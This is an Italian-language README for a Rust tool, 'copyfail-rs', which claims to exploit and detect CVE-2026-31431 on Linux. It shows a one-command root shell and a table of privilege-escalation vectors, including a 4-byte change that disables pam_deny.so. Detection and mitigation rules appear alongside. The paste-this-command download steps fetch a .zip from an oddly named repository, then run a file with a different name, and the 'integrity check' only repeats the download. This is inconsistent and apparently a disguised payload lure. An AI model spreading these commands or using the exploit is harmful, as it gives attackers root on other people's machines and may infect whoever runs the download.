
Sfrutta e rileva le vulnerabilità CVE-2026-31431 usando un binario statico che monitora l'integrità del sistema e bypassa l'autenticazione PAM.
PoC multivettrice + rilevamento abbinato per CVE-2026-31431 (CopyFail). Include un nuovo vettore di bypass dell'autenticazione PAM che nessun altro PoC pubblico include. La modalità di rilevamento individua ciò che AIDE / Wazuh / OSSEC / Tripwire strutturalmente non possono.
Singolo binario statico. ~108 KB. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Un solo comando. Shell di root. PAM killshot sotto il cofano (singola scrittura di 4 byte su /etc/pam.d/common-auth), rilascio PTY in root tramite sudo con password gettata via. La riga [sudo] password for noot: lampeggia brevemente; sudo mostra sempre quel prompt; il binario vi inserisce una stringa qualsiasi e il fallimento di pam_unix si propaga attraverso il pam_deny.so commentato fino a pam_permit.so → root.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← what's actually loaded (mutated)
disk: 117dab1c... ← what AIDE / Wazuh / Tripwire see (clean)
Questo è il progetto. Disco pulito, cache mutata. Ogni FIM pubblico è cieco. Questo strumento no.
Binari statici precompilati nella release v0.1.0. Scegli la tua architettura, scarica, esegui.
# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Altre architetture:
| Architettura | File |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
Verifica l'integrità:
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
Binari musl statici, nessuna dipendenza runtime, funzionano su qualsiasi Linux.
Mutazione della page cache. Nessuna scrittura VFS. Nessuna pagina sporca. Nessun evento inotify. Il riesame periodico gareggia con l'eviction.
AIDE/Wazuh/OSSEC/Tripwire/Samhain leggono tramite I/O bufferizzato → page cache → considerano i byte mutati come verità. Oppure, dopo l'eviction, calcolano l'hash del disco pulito → "non è mai successo alcun cambiamento".
Il rilevamento richiede O_DIRECT (salta la cache) + lettura bufferizzata (colpisce la cache) + differenza di hash. Mismatch = firma CopyFail. Questo è --scan.
Selezione automatica: --vector auto (predefinito). Ordina pam > su > passwd per furtività. In caso di fallimento, ripiega.
--json ovunque per l'ingestione nel SIEM.
detection/:
sigma/copyfail-af-alg.yml, regola Sigma, da inserire nel tuo SIEMauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, one-liner bpftraceapparmor/copyfail-block.profile, regola deny per AppArmor 3.0+mitigation/disable-algif.sh, blacklist modprobe + avviso =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Oppure kernel mainline a664bf3d603d (aprile 2026). Al momento: solo Debian Sid/Forky hanno distribuito la correzione. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = tutti vulnerabili.
Avvertenza: CONFIG_CRYPTO_USER_API_AEAD=y (integrato) bypassa silenziosamente modprobe. --check lo segnala.
Dopo exploit + mitigazione: la mutazione nella cache persiste fino al riavvio. La mitigazione blocca i NUOVI exploit, non annulla quelli passati.
cargo build --release --target x86_64-unknown-linux-musl
| Target | Dimensione |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std. Nessun allocatore. Nessuna dipendenza runtime. Singolo binario statico.
Artefatti precompilati e somme SHA256 allegati alle release GitHub.
Vedi docs/usage.md per esempi concreti di una schermata per ogni modalità (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).
Per una versione narrativa più estesa di questo README (più contesto, esposizione più approfondita), vedi BLOG.md.
Vedi docs/threat-model.md.
Solo hardware di tua proprietà. Nessun gate CLI (teatro della sicurezza). README + LICENSE = il framework.
La modalità di rilevamento è in sola lettura. Sicura in produzione.
La modalità exploit muta la page cache del kernel. Solo RAM, ma trattala come distruttiva. Blocca l'autenticazione per qualsiasi chiamante successivo.
CVE-2026-31431 divulgata da Theori / Xint il 2026-04-29 (writeup, blog Xint). PoC pubblici precedenti:
Questo progetto (copyfail-rs): aggiunge il vettore di bypass dell'autenticazione PAM, rilevamento a doppia modalità, artefatti IR.
MIT.
a664bf3d603d72548b093ee3 (4.14, ago 2017)| Vettore | Obiettivo | Dove finisce |
|---|
pam (NUOVO) | /etc/pam.d/common-auth (Debian/Ubuntu) o system-auth (Fedora/RHEL/Arch) | 4 byte. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo con qualsiasi password = root. |
su | /usr/bin/su | Muta il testo del binario setuid. execve → root. |
passwd | /etc/passwd | Inversione UID → l'utente diventa root al prossimo login. Rompe SSH per quell'utente. |
| Modalità | Cosa fa |
|---|
--check | Kernel + modulo + CONFIG_CRYPTO_USER_API_AEAD + stato della mitigazione. Verdetto: vulnerabile / mitigato / sicuro. |
--scan | Differenza tra lettura O_DIRECT e bufferizzata sui file critici. Ramificato tramite statfs(): ext4/xfs/btrfs usano O_DIRECT, overlayfs ripiega, tmpfs viene saltato. |
--baseline / --diff | Snapshot dello stato noto-pulito. Confronto successivo. I delta presenti solo in cache = l'impronta di CopyFail. |
--watch | Daemon. Scansione periodica. SIGTERM pulito. |
--hunt | Scansione della flotta SSH. Aggregati JSON. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| Vettori | su | su + passwd | su | su + passwd + PAM (nuovo) |
| Rilevamento | nessuno | nessuno | nessuno | --mode detect completo |
| Artefatti IR | nessuno | nessuno | nessuno | Sigma + auditd + eBPF + AppArmor |
| UX operatore | 3 comandi | 4 comandi | 5 comandi | 1 comando |
| Binario | richiede Python | ~10 KB | ~5 MB | ~108 KB statico |